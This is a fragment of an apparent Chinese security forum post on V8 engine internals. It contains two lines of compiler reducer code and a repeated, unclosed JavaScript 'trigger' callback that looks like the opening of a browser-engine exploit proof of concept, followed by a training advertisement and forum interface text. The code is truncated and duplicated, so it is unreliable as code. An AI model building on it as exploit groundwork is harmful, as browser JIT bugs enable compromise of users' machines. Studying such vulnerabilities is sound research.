  ReplaceWithValue(node, value, effect, control);
  return Replace(value);
}
trigger(_ => {
object3.c = 1.1;
trigger(_ => {
object3.c = 1.1;

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回